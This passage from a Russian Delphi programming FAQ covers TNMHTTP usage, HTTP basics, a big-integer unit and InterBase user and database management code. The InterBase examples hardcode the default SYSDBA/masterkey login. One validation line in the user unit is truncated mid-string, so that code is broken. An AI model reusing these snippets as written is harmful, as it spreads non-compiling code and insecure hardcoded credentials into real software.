Get(URL: string) посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файлы или в сами свойства Body и Header (в зависимости от значения свойства InputFileMode); Head(URL: string) посылает запрос на указанный URL. Данные после выполнения этого запроса записываются в файл или в само свойство Header (в зависимости от значения свойства InputFileMode). В отличие от метода Get, при вызове Head запрос отсылается только на заголовок http-документа; Post(URL, PostData: string) посылает запрос на изменение http-документа (с адресом URL) на данные, содержащиеся в параметре PostData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные. Put(URL, PutData: string) посылает запрос на создание http-документа (с адресом URL), содержащего данные, переданные в параметре PutData. Если OutputFileMode равен True, то в PostData должен содержаться путь к файлу, содержащему нужные данные. Trace(URL, TraceData: string) посылает запрос на получение отладочных данных (для отладки соединения с HTTP-сервером). Данные для запроса нужно указать в параметре TraceData. Если OutputFileMode равен True, то в TraceData должен содержаться путь к файлу, содержащему нужные данные. Delete(URL: string) посылает запрос на удаление http-документа (с адресом URL).

Далее некоторые методы, унаследованные от TPowerSock:

Abort и Cancel прерывают соединение и обмен данными; Disconnect отсоединение от HTTP-сервера;

События.

OnAuthenticationNeeded возникает, когда сервер требует указания имени пользователя и пароля. В обработчике этого события (если оно возникнет) Вы должны ответить серверу, запонив нужными значениями соответствующие переменные. Примечание: Перед установлением соединения можно сразу заполнить поля UserID и Password в свойстве HeaderInfo; OnAboutToSend возникает, когда компонент TNMHTTP собирается отправлять данные (запрос). В обработчике этого события можно заполнить дополнительной информацией свойство SendHeader; OnFailure возникает, когда текущая операция завершилась неудачно, т.е. произошла ошибка; OnRedirect возникает, сервер переадресовал ссылку с указанной URL на другую ссылку. Установив параметр handled в значение True можно запретить переадресацию и остановиться на запрошенной URL. Значение по умолчанию - False; OnSuccess возникает, когда текущая операция завершилась успешно, т.е. запрос был выполнен без ошибок;

Далее некоторые методы, унаследованные от TPowerSock:

OnConnect возникает, когда соединение с сервером успешно установлено; OnDisconnect возникает, когда соединение с сервером завершено; OnConnectionFailed возникает, когда соединение с сервером установить не удалось; OnError возникает, когда последняя операция была завершена с ошибкой; OnHostResolved возникает, когда от DNS получен IP-адрес указанного хоста; OnInvalidHost возникает, когда DNS вернул ошибку при попытке определить IP-адрес указанного хоста; OnPacketRecvd возникает, когда значения свойств BytesRecvd и BytesTotal изменены, т.е. была принята новая порция данных от сервера; OnPacketSent возникает, когда значения свойств BytesSent и BytesTotal изменены, т.е. была отправлена новая порция данных на сервер; OnStatus возникает, когда статус компонента был изменен (для обновления визуального оповещения пользователя);

Практика и примеры

Ну а теперь приступим к самому главному методу изучения - на примерах.

И самый первый пример - программа, позволяющая определить, существует ли заданный URL:

Пример 1. Проверка существования указанной URL.

{... Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1}
{В форму нужно поместить кнопку TButton и одно поле TEdit. При нажатии на
кнопку вызывается обработчик события OnClick - Button1Click. Перед этим в
TEdit нужно ввести адрес URL. НЕ ЗАБУДЬТЕ ПОМЕСТИТЬ В ФОРМУ КОМПОНЕНТ TNMHTTP!}
procedure Button1Click(Sender: TObject);
begin
  {Пытаемя получить заголовок}
  NMHTTP1.Head(Edit1.Text);
  {Если URL неверный, то здесь выскочит ошибка}
end;

Следующий пример - скачивание сразу нескольких URL одновременно. Надо заметить, что многие программисты пренебрегают многозадачностью Windows (неважно, как она реализована, речь сейчас не об этом). В Дельфи очень легко создавать отдельные, подчиненные Вашей программе процессы (а точнее - потоки) с помощью базового класса TThread. Но об этом мы поговорим в другой раз (в другой статье).

Пример 2. Одновременное скачивание указанных URL в заданный каталог.

// Здесь идет заголовок файла и определение формы TForm1 и ее экземпляра Form1
// Описание класса отдельного процесса
type
  THTTPThread = class(TThread)
  private
    {Для каждого процесса - создаем свой компонент TNMHTTP}
    FHTTP: TNMHTTP;
  protected
    // Execute вызывается при запуске процесса; override - заменяем
    // существующую процедуру базового класса TThread
    procedure Execute; override;
    // DoWork - созданная нами функция, выполнение которой синхронизируется в Execute
    procedure DoWork;
  public
    // URL - созданная нами строка, указывающая процессу, какой URL ему нужно скачать
    URL: string;
end;
// В форму нужно поместить три кнопки TButton, одно поле TEdit и один список
// TListBox. При нажатии на кнопку Button1 вызывается обработчик события
// OnClick - Button1Click. Перед этим в TEdit нужно ввести путь к каталогу, в
// котором будут храниться скачанные файлы, а ListBox1 нужно заполнить списком
// URL-ов для скачивания (с помощью кнопок Add (Button2) и Delete (Button3)).
procedure TForm1.Button3Click(Sender: TObject);
begin
  {Удаление выделенного URL из списка}
  if ListBox1.ItemIndex >= 0 then
    ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
  s: string;
begin
  {Добавление URL в список}
  s := InputBox('Добавить','Введите URL:','');
  if s <> '' then
    ListBox1.Items.Add(s);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  i: Integer;
begin
  {Проверка на существование каталога}
  if Length(Edit1.Text) > 0 then
    if not DirectoryExists(Edit1.Text) then
      MkDir(Edit1.Text);
  {Далее идет создание для каждого URL в списке своего процесса}
  for i := 0 to ListBox1.Items.Count-1 do
  begin
    with THTTPThread.Create(True) do
    begin
      {Создаем приостановленную задачу, указываем ей ее URL и запускаем ее}
      URL := ListBox1.Items[i];
      Resume;
    end;
  end;
end;
// Операторы процесса THTTPThread
procedure THTTPThread.Execute;
begin
  // Делаем так, чтобы каждый процесс выполнялся одновременно с другими (синхронизация)}
  Synchronize(DoWork);
end;
procedure THTTPThread.DoWork;
var
  i: Integer;
begin
  {Создаем компонент TNMHTTP}
  FHTTP := TNMHTTP.Create(Form1);
  {Результат надо записывать в файлы}
  FHTTP.InputFileMode := True;
  {Подбираем имена для файлов}
  i := 1;
  while FileExists(Form1.Edit1.Text+'\page'+IntToStr(i)+'.htm') do
    Inc(i);
  {Указываем, в какие именно файлы класть результат}
  FHTTP.Body := Form1.Edit1.Text+'\body'+IntToStr(i)+'.htm';
  FHTTP.Header := Form1.Edit1.Text+'\header'+IntToStr(i)+'.txt';
  {Пытаемся послать запрос}
  FHTTP.Get(URL);
  {Перед завершением процесса не забываем освободить память из-под компонента}
  FHTTP.Free;
end;

ПРИМЕЧАНИЕ: Чтобы завершить некоторый процесс (Thread), нужно вызвать метод Terminate класса этого процесса. Приостановить процесс можно оператором Suspend, а продолжить выполнение - Resume. Также можно настроить приоритет каждого отдельного процесса через свойство Priority.

Неплохой пример работы с процессами можно найти в подпапке Demos\Threads папки, куда Вы установили Delphi.

Замечания по алгоритмам типовых задач

Если Вы собираетесь создать скачивалку сайтов, то Вам необходимо учитывать следующее (решить следующие проблемы):

Нужно скачивать не только саму страничку в формате HTML, но и все входящие в нее рисунки (gif, jpg, и т.д.); в некоторых случаях удобно скачивать не одну страничку, а несколько страниц, ссылки на которые находятся на первой из скачиваемых страничек. При этом нужно учитывать, что на страничке могут находиться и ссылки на другие сайты, поэтому необходимо анализировать скачиваемые ссылки (чтобы случайно не скачать весь Интернет). Для решения задачи со скачиванием нескольких страничек нужно использовать рекурсию; необходимо качественно информировать пользователя о ходе закачки. Т.е. показывать общее и скачанное количество информации; после скачивания нужно заменить Интернетовские ссылки на локальные, чтобы можно было просматривать странички в режиме offline.

HyperText Transfer Protocol - протокол обмена WWW-серверов.

Интернетчик пишет объявление в конференцию: - Девушки, выходите за меня замуж! Стране, нужны хакеры. Возникает флейм: - Девушки, не верьте ему, он вас сломает, хакнет и выложит на ББС с паролем общего доступа, а потом и вообще бросит. Все это ничего, он вас еще и вирусом заразит...

Назначение

HyperText Transfer Protocol (HTTP) - это протокол прикладного уровня, применяемый в распределенных информационных системах гипермедиа. HTTP используется проектом World Wide Web с 1990 года.

HTTP/1.0 предоставляет открытое множество методов, которые могут быть использованы для указания целей запроса. Они построены на дисциплине ссылок, где для указания ресурса, к которому должен быть применен данный метод, используется Универсальный Идентификатор Ресурсов (Universal Resource Identifier - URI), в виде местонахождения (URL) или имени (URN). Формат сообщений сходен с форматом Internet Mail или Multipurpose Internet Mail Extensions (MIME-Многоцелевое Расширение Почты Internet).

HTTP/1.0 используется также для коммуникаций между различными пользовательскими просмотрщиками и шлюзами, дающими гипермедиа доступ к существующим Internet протоколам, таким как SMTP, NNTP, FTP, Gopher и WAIS. HTTP/1.0 разработан, чтобы позволять таким шлюзам через proxy серверы, без какой-либо потери передавать данные с помощью упомянутых протоколов более ранних версий.

Общая Структура

HTTP основывается на парадигме запросов/ответов. Запрашивающая программа (обычно она называется клиент) устанавливает связь с обслуживающей программой-получателем (обычно называется сервер) и посылает запрос серверу в следующей форме: метод запроса, URI, версия протокола, за которой следует MIME-подобное сообщение, содержащее управляющую информацию запроса, информацию о клиенте и, может быть, тело сообщения. Сервер отвечает сообщением, содержащим строку статуса (включая версию протокола и код статуса - успех или ошибка), за которой следует MIME-подобное сообщение, включающее в себя информацию о сервере, метаинформацию о содержании ответа, и, вероятно, само тело ответа. Следует отметить, что одна программа может быть одновременно и клиентом и сервером. Использование этих терминов в данном тексте относится только к роли, выполняемой программой в течение данного конкретного сеанса связи, а не к общим функциям программы.

В Internet коммуникации обычно основываются на TCP/IP протоколах. Для WWW номер порта по умолчанию - TCP 80, но также могут быть использованы и другие номера портов - это не исключает возможности использовать HTTP в качестве протокола верхнего уровня.

Для большинства приложений сеанс связи открывается клиентом для каждого запроса и закрывается сервером после окончания ответа на запрос. Тем не менее, это не является особенностью протокола. И клиент, и сервер должны иметь возможность закрывать сеанс связи, например, в результате какого-нибудь действия пользователя. В любом случае, разрыв связи, инициированный любой стороной, прерывает текущий запрос, независимо от его статуса.

Огромные LCK-файлы.

Автор: Scott Frolich Если .EXE-файл расположен в том же каталоге, что и таблица Paradox, и флажок Local Share установлен в TRUE, .LCK-файл с каждым запросом растет как на дрожжах. Другая условие - вы имеете соединение посредством DbiOpenTable или TTable.Open. РЕШЕНИЕ: Установите частный (private) каталог в какое-нибудь другое место Переместите .EXE-файл в каталог, отличный от каталога с файлами таблиц Установите Local Share в FALSE

Огромные числа.

Автор: Lloyd Данный модуль использует массив байт для предоставления БОЛЬШИХ чисел. Бинарно-хранимые числа заключены в массив, где первый элемент является Наименьшим Значимым Байтом (Least Significant Byte - LSB), последний - Наибольшим Значимым Байтом (Most Significant Byte - MSB), подобно всем Intel-целочисленным типам. Арифметика здесь использует не 10- или 2-тиричную, а 256-тиричную систему исчисления, чтобы каждый байт представлял одну (1) цифру. Числа HugeInttype - Подписанные Числа (Signed Numbers). При компиляции с директивой R+, ADD и MUL могут в определенных обстоятельствах генерировать "Arithmetic Overflow Error" (RunError(215)) - ошибка арифметического переполнения. В таком случае пользуйтесь переменной "HugeIntCarry". Переменная "HugeIntDiv0" используется для проверки деления на ноль.

Используйте {$DEFINE HugeInt_xx } или поле "Conditional defines" (символ условного компилирования) в "Compiler options" (опции компилятора) для задания размерности, где xx должно быть равно 64, 32 или 16, в противном случае HugeIntSize будет равен 8 байтам.

unit HugeInts;
interface
const
{$IFDEF HugeInt_64 }
  HugeIntSize = 64;
{$ELSE}{$IFDEF HugeInt_32 }
  HugeIntSize = 32;
{$ELSE}{$IFDEF HugeInt_16 }
  HugeIntSize = 16;
{$ELSE}
  HugeIntSize = 8;
{$ENDIF}{$ENDIF}{$ENDIF}
  HugeIntMSB = HugeIntSize - 1;
type
  HugeInt = array[0..HugeIntMSB] of Byte;
const
  HugeIntCarry: Boolean = False;
  HugeIntDiv0: Boolean = False;
procedure HugeInt_Min(var a: HugeInt); { a := -a }
procedure HugeInt_Inc(var a: HugeInt); { a := a + 1 }
procedure HugeInt_Dec(var a: HugeInt); { a := a - 1 }
procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt); { R := a + b }
procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt); { R := a - b }
procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt); { R := a * b }
procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt); { R := a div b }
procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt); { R := a mod b }
function HugeInt_IsNeg(a: HugeInt): Boolean;
function HugeInt_Zero(a: HugeInt): Boolean;
function HugeInt_Odd(a: HugeInt): Boolean;
function HugeInt_Comp(a, b: HugeInt): Integer; {-1:a< 0; 1:a>}
procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt); { Dest := Src }
procedure String2HugeInt(AString: string; var a: HugeInt);
procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
procedure HugeInt2String(a: HugeInt; var S: string);
implementation
procedure HugeInt_Copy(Src: HugeInt; var Dest: HugeInt);
{ Dest := Src }
begin
  Move(Src, Dest, SizeOf(HugeInt));
end; { HugeInt_Copy }
function HugeInt_IsNeg(a: HugeInt): Boolean;
begin
  HugeInt_IsNeg := a[HugeIntMSB] and $80 > 0;
end; { HugeInt_IsNeg }
function HugeInt_Zero(a: HugeInt): Boolean;
var
  i: Integer;
begin
  HugeInt_Zero := False;
  for i := 0 to HugeIntMSB do
    if a[i] <> 0 then
      Exit;
  HugeInt_Zero := True;
end; { HugeInt_Zero }
function HugeInt_Odd(a: HugeInt): Boolean;
begin
  HugeInt_Odd := a[0] and 1 > 0;
end; { HugeInt_Odd }
function HugeInt_HCD(a: HugeInt): Integer;
var
  i: Integer;
begin
  i := HugeIntMSB;
  while (i > 0) and (a[i] = 0) do
    Dec(i);
  HugeInt_HCD := i;
end; { HugeInt_HCD }
procedure HugeInt_SHL(var a: HugeInt; Digits: Integer);
{ Перемещение байтов переменной "Digits" в левую часть,
байты "Digits" будут 'ослабевать' в MSB-части.
LSB-часть заполняется нулями. }
var
  t: Integer;
  b: HugeInt;
begin
  if Digits > HugeIntMSB then
    FillChar(a, SizeOf(HugeInt), 0)
  else if Digits > 0 then
  begin
    Move(a[0], a[Digits], HugeIntSize - Digits);
    FillChar(a[0], Digits, 0);
  end; { else if }
end; { HugeInt_SHL }
procedure HugeInt_SHR(var a: HugeInt; Digits: Integer);
var
  t: Integer;
begin
  if Digits > HugeIntMSB then
    FillChar(a, SizeOf(HugeInt), 0)
  else if Digits > 0 then
  begin
    Move(a[Digits], a[0], HugeIntSize - Digits);
    FillChar(a[HugeIntSize - Digits], Digits, 0);
  end; { else if }
end; { HugeInt_SHR }
procedure HugeInt_Inc(var a: HugeInt);
{ a := a + 1 }
var
  i: Integer;
  h: Word;
begin
  i := 0;
  h := 1;
  repeat
    h := h + a[i];
    a[i] := Lo(h);
    h := Hi(h);
    Inc(i);
  until (i > HugeIntMSB) or (h = 0);
  HugeIntCarry := h > 0;
{$IFOPT R+ }
  if HugeIntCarry then
    RunError(215);
{$ENDIF}
end; { HugeInt_Inc }
procedure HugeInt_Dec(var a: HugeInt);
{ a := a - 1 }
var
  Minus_1: HugeInt;
begin
  { самый простой способ }
  FillChar(Minus_1, SizeOf(HugeInt), $FF); { -1 }
  HugeInt_Add(a, Minus_1, a);
end; { HugeInt_Dec }
procedure HugeInt_Min(var a: HugeInt);
{ a := -a }
var
  i: Integer;
begin
  for i := 0 to HugeIntMSB do
    a[i] := not a[i];
  HugeInt_Inc(a);
end; { HugeInt_Min }
function HugeInt_Comp(a, b: HugeInt): Integer;
{ a = b: ==0; a > b: ==1; a < b: ==-1 }
var
  A_IsNeg, B_IsNeg: Boolean;
  i: Integer;
begin
  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg xor B_IsNeg then
    if A_IsNeg then
      HugeInt_Comp := -1
    else
      HugeInt_Comp := 1
  else
  begin
    if A_IsNeg then
      HugeInt_Min(a);
    if B_IsNeg then
      HugeInt_Min(b);
    i := HugeIntMSB;
    while (i > 0) and (a[i] = b[i]) do
      Dec(i);
    if A_IsNeg then { оба отрицательные! }
      if a[i] > b[i] then
        HugeInt_Comp := -1
      else if a[i] < b[i] then
        HugeInt_Comp := 1
      else
        HugeInt_Comp := 0
    else { оба положительные } if a[i] > b[i] then
        HugeInt_Comp := 1
      else if a[i] < b[i] then
        HugeInt_Comp := -1
      else
        HugeInt_Comp := 0;
  end; { else }
end; { HugeInt_Comp }
procedure HugeInt_Add(a, b: HugeInt; var R: HugeInt);
{ R := a + b }
var
  i: Integer;
  h: Word;
begin
  h := 0;
  for i := 0 to HugeIntMSB do
  begin
    h := h + a[i] + b[i];
    R[i] := Lo(h);
    h := Hi(h);
  end; { for }
  HugeIntCarry := h > 0;
{$IFOPT R+ }
  if HugeIntCarry then
    RunError(215);
{$ENDIF}
end; { HugeInt_Add }
procedure HugeInt_Sub(a, b: HugeInt; var R: HugeInt);
{ R := a - b }
var
  i: Integer;
  h: Word;
begin
  HugeInt_Min(b);
  HugeInt_Add(a, b, R);
end; { HugeInt_Sub }
procedure HugeInt_Mul(a, b: HugeInt; var R: HugeInt);
{ R := a * b }
var
  i, j, k: Integer;
  A_end, B_end: Integer;
  A_IsNeg, B_IsNeg: Boolean;
  h: Word;
begin
  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg then
    HugeInt_Min(a);
  if B_IsNeg then
    HugeInt_Min(b);
  A_End := HugeInt_HCD(a);
  B_End := HugeInt_HCD(b);
  FillChar(R, SizeOf(R), 0);
  HugeIntCarry := False;
  for i := 0 to A_end do
  begin
    h := 0;
    for j := 0 to B_end do
      if (i + j) < HugeIntSize then
      begin
        h := h + R[i + j] + a[i] * b[j];
        R[i + j] := Lo(h);
        h := Hi(h);
      end; { if }
    k := i + B_End + 1;
    while (k < HugeIntSize) and (h > 0) do
    begin
      h := h + R[k];
      R[k] := Lo(h);
      h := Hi(h);
      Inc(k);
    end; { while }
    HugeIntCarry := h > 0;
{$IFOPT R+}
    if HugeIntCarry then
      RunError(215);
{$ENDIF}
  end; { for }
  { если все хорошо... }
  if A_IsNeg xor B_IsNeg then
    HugeInt_Min(R);
end; { HugeInt_Mul }
procedure HugeInt_DivMod(var a: HugeInt; b: HugeInt; var R: HugeInt);
{ R := a div b  a := a mod b }
var
  MaxShifts, s, q: Integer;
  d, e: HugeInt;
  A_IsNeg, B_IsNeg: Boolean;
begin
  if HugeInt_Zero(b) then
  begin
    HugeIntDiv0 := True;
    Exit;
  end { if }
  else
    HugeIntDiv0 := False;
  A_IsNeg := HugeInt_IsNeg(a);
  B_IsNeg := HugeInt_IsNeg(b);
  if A_IsNeg then
    HugeInt_Min(a);
  if B_IsNeg then
    HugeInt_Min(b);
  if HugeInt_Comp(a, b) < 0 then
    { a<b; нет необходимости деления }
    FillChar(R, SizeOf(R), 0)
  else
  begin
    FillChar(R, SizeOf(R), 0);
    repeat
      Move(b, d, SizeOf(HugeInt));
      { сначала вычисляем количество перемещений (сдвигов) }
      MaxShifts := HugeInt_HCD(a) - HugeInt_HCD(b);
      s := 0;
      while (s <= MaxShifts) and (HugeInt_Comp(a, d) >= 0) do
      begin
        Inc(s);
        HugeInt_SHL(d, 1);
      end; { while }
      Dec(s);
      { Создаем новую копию b }
      Move(b, d, SizeOf(HugeInt));
      { Перемещаем (сдвигаем) d }
      HugeInt_ShL(d, S);
      { Для добавление используем e = -d, это быстрее чем вычитание d }
      Move(d, e, SizeOf(HugeInt));
      HugeInt_Min(e);
      Q := 0;
      { пока a >= d вычисляем a := a+-d и приращиваем Q}
      while HugeInt_Comp(a, d) >= 0 do
      begin
        HugeInt_Add(a, e, a);
        Inc(Q);
      end; { while }
      { Упс!, слишком много вычитаний; коррекция }
      if HugeInt_IsNeg(a) then
      begin
        HugeInt_Add(a, d, a);
        Dec(Q);
      end; { if }
      HugeInt_SHL(R, 1);
      R[0] := Q;
    until HugeInt_Comp(a, b) < 0;
    if A_IsNeg xor B_IsNeg then
      HugeInt_Min(R);
  end; { else }
end; { HugeInt_Div }
procedure HugeInt_DivMod100(var a: HugeInt; var R: Integer);
{ 256-тиричное деление - работает только с
положительными числами: R := a mod 100; a:= a div 100; }
var
  Q: HugeInt;
  S: Integer;
begin
  R := 0;
  FillChar(Q, SizeOf(Q), 0);
  S := HugeInt_HCD(a);
  repeat
    r := 256 * R + a[S];
    HugeInt_SHL(Q, 1);
    Q[0] := R div 100;
    R := R mod 100;
    Dec(S);
  until S < 0;
  Move(Q, a, SizeOf(Q));
end; { HugeInt_DivMod100 }
procedure HugeInt_Div(a, b: HugeInt; var R: HugeInt);
begin
  HugeInt_DivMod(a, b, R);
end; { HugeInt_Div }
procedure HugeInt_Mod(a, b: HugeInt; var R: HugeInt);
begin
  HugeInt_DivMod(a, b, R);
  Move(a, R, SizeOf(HugeInt));
end; { HugeInt_Mod }
procedure HugeInt2String(a: HugeInt; var S: string);
  function Str100(i: Integer): string;
  begin
    Str100 := Chr(i div 10 + Ord('0')) + Chr(i mod 10 + Ord('0'));
  end; { Str100 }
var
  R: Integer;
  Is_Neg: Boolean;
begin
  S := '';
  Is_Neg := HugeInt_IsNeg(a);
  if Is_Neg then
    HugeInt_Min(a);
  repeat
    HugeInt_DivMod100(a, R);
    Insert(Str100(R), S, 1);
  until HugeInt_Zero(a) or (Length(S) = 254);
  while (Length(S) > 1) and (S[1] = '0') do
    Delete(S, 1, 1);
  if Is_Neg then
    Insert('-', S, 1);
end; { HugeInt2String }
procedure String_DivMod256(var S: string; var R: Integer);
{ 10(00)-тиричное деление - работает только с
положительными числами: R := S mod 256; S := S div 256 }
var
  Q: string;
begin
  FillChar(Q, SizeOf(Q), 0);
  R := 0;
  while S <> '' do
  begin
    R := 10 * R + Ord(S[1]) - Ord('0');
    Delete(S, 1, 1);
    Q := Q + Chr(R div 256 + Ord('0'));
    R := R mod 256;
  end; { while }
  while (Q <> '') and (Q[1] = '0') do
    Delete(Q, 1, 1);
  S := Q;
end; { String_DivMod256 }
procedure String2HugeInt(AString: string; var a: HugeInt);
var
  i, h: Integer;
  Is_Neg: Boolean;
begin
  if AString = '' then
    AString := '0';
  Is_Neg := AString[1] = '-';
  if Is_Neg then
    Delete(Astring, 1, 1);
  i := 0;
  while (AString <> '') and (i <= HugeIntMSB) do
  begin
    String_DivMod256(AString, h);
    a[i] := h;
    Inc(i);
  end; { while }
  if Is_Neg then
    HugeInt_Min(a);
end; { String2HugeInt }
procedure Integer2HugeInt(AInteger: Integer; var a: HugeInt);
var
  Is_Neg: Boolean;
begin
  Is_Neg := AInteger < 0;
  if Is_Neg then
    AInteger := -AInteger;
  FillChar(a, SizeOf(HugeInt), 0);
  Move(AInteger, a, SizeOf(Integer));
  if Is_Neg then
    HugeInt_Min(a);
end; { Integer2HugeInt }
end.

Определить ширину и высоту символа.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

 AComponentWithACanvas.Canvas.TextWidth('A');
 AComponentWithACanvas.Canvas.TextHeight('X');

Установка Interbase и добавление пользователя.

Автор: Denis Alexandrovich Ivanov
- Чем схожи занимающийся сексом и юзер? - И тот и другой входят и выходят. - А кто при этом получает удовольствие? - Скорее всего первый и Билл Гейтс.
Как сделать инсталятор, который прописывал бы пользователя в Interbase? BDE при этом не нужна совсем.

1. При помощи InstallShieldExpress формируется проект, который включает в себя установку Interbase Server. 2. После установки Interbase запускаешь программу, написанную на Delphi 6, которая добавляет нового пользователя Interbase.

(************************************************************************
Проект       : ....
Автор        : Иванов Д.А.
Назначение   : Выжимки из библиотеки функций для работы со справочником
               пользователей
               Note: You must install InterBase 6 to use this feature.
Дата создания: 11.13.2002
История      :
************************************************************************)
unit usr;
interface
uses IBCustomDataSet,IBDataBase,IBServices;
type
  TUsrInfo = record
    Usr:string ; //login
    Uid:integer; //уникальный идентификатор, если программа ведет
                 //справочник пользователей в своей БД - его можно
                 //брать оттуда по секвенции
    Grp:integer; //Group
    Pas:string ; //password
  end;
  TUsrClass = class(TObject)
  private
    { Private declarations }
  public
    UsrData:TUsrInfo;
    dbSec  :TIBSecurityService;
    // добавляет или редактирует пользователя в Interbase
    function UpdateUser: string;
  end;
  TUsrLib = class(TUsrClass)
  private
    { Private declarations }
  public
    procedure AddNewUserToInterbase;
  end;
var
  clUsr:TUsrLib;
implementation
uses SysUtils,Controls,db,windows,QDialogs;
(***************** Добавляет или редактирует пользователя ***************)
function TUsrClass.UpdateUser: string;
                               //Usrid = 0 - новый пользователь
  var Edes:string; //Описание ошибок
begin
  try
    if UsrData.Usr = '' then Edes:= 'не указан login пользователя';
    if UsrData.Uid = 0  then Edes:= 'не указан id пользователя';
    if UsrData.Grp = 0  then Edes:= 'не 
    if UsrData.Pas = '' then Edes:= 'не указан пароль пользователя';
    if EDes < >  '' then raise Exception.Create(Edes);
    //Добавляем пользователя в interbase
    with dbSec do begin
      if not Active then Active := True;
      UserName  := UsrData.Usr;
      UserID    := UsrData.Uid;
      GroupID   := UsrData.Grp;
      Password  := UsrData.Pas;
      try
        DisplayUser(UserName);
        if UserInfo[0] = nil then AddUser else ModifyUser;
      except
        Edes:='Ошибка добавления пользователя в interbase security';
        raise Exception.Create(Edes);
      end;
      //раздача если нужно права доступа пользователя на таблицы
      (* EDes:= GrantData(UsrData.Usr);
         if EDes < >  '' then raise Exception.Create(Edes);
      *)
    end;
  except
    if EDes = '' then EDes:= 'Ошибка добавления пользователя в interbase security';
  end;
  Result:= EDes;
end;
procedure TUsrLib.AddNewUserToInterbase;
  var Edes:string; //Описание ошибок
begin
  UsrData.Usr := 'ida' ;
  UsrData.Uid := 123   ;
  UsrData.Grp := 1     ;
  UsrData.Pas := 'pass';
  EDes:= UpdateUser;
  if EDes < >  '' then raise Exception.Create(Edes);
end;
begin
  clUsr:=TUsrLib.Create;
end.
Установку Interbase 6.0 я пробовал делать двумя системами создания инсталляций: - InstallShield - Wise Install Builder.

Для обоих использовал готовые скрипты с сайта http://ibinstall.defined.net/. По результатам могу сказать, что Wise удобнее и проще в инсталляции. Кроме того у него есть текстовый редактор скрипта, что нашему брату шибко нравится. Установка и запуск IBGuard проходит как и в фирменном варианте сразу (Silent Install).

Как заставить Interbase принять COLLATE PXW_CYRL по умолчанию.

Автор: Nomadic (Это очень полезно при прямой работе с IB из различного CASE-инструментария, типа PowerDesigner или ErWIN) Чтобы не писать каждый раз COLLATE, я сделал следующее: Создал сохранённую процедуру
create procedure fix_character_sets
as
begin
update
rdb$character_sets
set
rdb$default_collate_name = 'PXW_CYRL'
where
rdb$character_set_name = 'WIN1251'
and
rdb$default_collate_name = 'WIN1251'
;
end
Запустил ее один раз. Создаю таблицы без указания COLLATE. После восстановления из архива, запускаю еще раз.

Программное создание и удаление базы данных Interbase, а так же выполнение SQL-скриптов.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
 This unit creates a database on a Interbase-Server at run-time. 
 The IBConsole is no longer needed. 
 You can execute an SQL script to create tables. 
 Try it out! 
}
 { 
 Diese Unit erstellt eine Datenbank auf einem Interbase - Server zur Laufzeit des Programms. 
 Es wird nicht mehr die IBConsole gebraucht. 
 Dazu kann man im Memo noch ein SQL - Skript ablaufen lassen zum erstellen der Tabellen. 
 Probiert es einfach aus. 
}
 unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ZTransact, ZIbSqlTr, DB, ZQuery, ZIbSqlQuery,
   ZConnect, ZIbSqlCon;
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Memo1: TMemo;
     Button2: TButton;
     ZIbSqlQuery1: TZIbSqlQuery;
     ZIbSqlTransact1: TZIbSqlTransact;
     ZIbSqlDatabase1: TZIbSqlDatabase;
     Button3: TButton;
     procedure Button1Click(Sender: TObject);   // Caption/ Beschriftung : Create Database 
    procedure Button2Click(Sender: TObject);   // Caption/ Beschriftung : SQL-Anweisung 
    procedure Button3Click(Sender: TObject);   // Caption/ Beschriftung : Drop Database 
  private
     { Private-Deklarationen }
   public
     { Public-Deklarationen }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.dfm}
 // Creating the database 
// Hier wird durch drucken des Buttons die Datenbank erstellt 
//--------------------------------------------------------------------- 
procedure TForm1.Button1Click(Sender: TObject);
 begin
   ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>';// Path to Database 
  ZIbSqlDatabase1.Host := 'testserver';
   ZIbSqlDatabase1.Password := 'masterkey';
   ZIbSqlDatabase1.Login := 'SYSDBA';
   ZIbSqlDatabase1.CreateDatabase('');
 end;
 // Execute the SQL-Script in the memo 
// Hier wird durch drucken des Buttons das SQL-Skript im Memo ausgefuhrt 
//---------------------------------------------------------------------- 
procedure TForm1.Button2Click(Sender: TObject);
 begin
   ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database 
  ZIbSqlDatabase1.Host := 'testserver';
   ZIbSqlDatabase1.Password := 'masterkey';
   ZIbSqlDatabase1.Login := 'SYSDBA';
   ZIbSqlQuery1.SQL.Clear;
   ZIbSqlQuery1.SQL.AddStrings(memo1.Lines);
   ZIbSqlQuery1.ExecSQL;
 end;
 // Deleted the database 
// Hier wird durch drucken des Buttons die Datenbank komplette geloscht 
//--------------------------------------------------------------------- 
procedure TForm1.Button3Click(Sender: TObject);
 begin
   ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database 
  ZIbSqlDatabase1.Host := 'testserver';
   ZIbSqlDatabase1.Password := 'masterkey';
   ZIbSqlDatabase1.Login := 'SYSDBA';
   ZIbSqlDatabase1.DropDatabase;
 end;
 end.

Описание протокола ICMP (Internet Control Message Protocol).

- Мыкола, ты слыхал, як москали ICMP-пакеты называють? - Як? - Пинги!..
